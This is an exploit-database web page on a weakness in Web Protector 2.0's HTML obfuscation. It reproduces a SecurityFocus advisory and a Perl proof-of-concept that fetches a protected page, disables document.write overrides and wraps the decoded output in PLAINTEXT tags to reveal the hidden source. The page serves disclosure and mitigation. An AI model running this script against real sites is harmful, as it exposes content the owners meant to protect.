Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
Web Protector Trivial Encryption Weakness - exploit.company
header-logo
Suggest Exploit
vendor:
Web Protector
by:
Unknown
5.5
CVSS
MEDIUM
Encryption Weakness
310
CWE
Product Name: Web Protector
Affected Version From: Unknown
Affected Version To: 2
Patch Exists: NO
Related CWE:
CPE: a:web_protector:web_protector:2.0
Metasploit:
Other Scripts:
Platforms Tested:
Unknown

Web Protector Trivial Encryption Weakness

The method used to obfuscate and protect the HTML source of web pages implementing Web Protector is flawed and may be easily reversed. This weakness can be exploited to disclose sensitive information contained in HTML source or to reveal the HTML source itself.

Mitigation:

Sensitive information should never be included in the source of an obfuscated document. Administrators should not rely solely on the protection supplied by Web Protector.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/7409/info

Web protector has been reported prone to a trivial encryption weakness.

It has been reported that the method used to obfuscate and protect the HTML source of web pages implementing Web Protector is flawed and may be easily reversed.

This weakness may be exploited to disclose sensitive information contained in HMTL source or to reveal the HTML source itself. Due to the nature of web based obfuscation Sensitive information should never be included in the source of an obfuscated document.

Administrators may be relying on a false sense of security by implementing the protection supplied by Web protector.

It should be noted that although this weakness has been reported to affect Web Protector version 2.0, previous versions are most likely also affected. 

use URI::Escape;
require HTTP::Request;
use LWP::UserAgent;


# Define the page we want to see the HTML source
$html_page = "http://www.protecthtml.com/product/wp/sample21.htm";

$ua = LWP::UserAgent->new;
$request = HTTP::Request->new(GET => $html_page );
$response = $ua->request($request);
if ($response->is_success) {
         $encrypted_html =$response->content;
} else {
        print $response->error_as_HTML;
        exit(0);
}

# Some try to overwrite document.write by doing something like
#       document.write = null;
# so we're going to search the source code for any document.write=
# or its escaped version which is:
#       %64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%3D
$encrypted_html =~ s/document.write[ ]*=(.*)\;/void_var=$1/i;

# -- this is all on the same line --
$encrypted_html =~
s/%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65(%20)*(%3D)(.*)
\;/void_var=$3/i;

# All scripts have to use a document.write to write the decrypted HTML
# to the browser window so all we're going to do is add a <PLAINTEXT>
# tag to make sure that the derypted html is not decoded by the browser
# and instead we see the source code!
# -- this is all on the same line --
$encrypted_html =~ s/document.write[
]*\((.*?)
\)/document.write\(\\\"<PLAINTEXT>\\\"+$1+\\\"<\/PLAINTEXT>\\\"\)/gi;

# -- this is all on the same line --
$encrypted_html =~
s/%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65(%20)*%28(.*?)%
29/document.write\(\\\"<PLAINTEXT>\\\"+$2+\\\"<\/PLAINTEXT>\\\"\)/gi;

open(OUT,">clear_text.html");
print OUT $encrypted_html;

# Some LAME tools don't even try to encrypt the pages they just URL encode
everything
print OUT "<p> Let us try just to Unescape the source! <PLAINTEXT>";
print OUT uri_unescape($response->content);
close(OUT);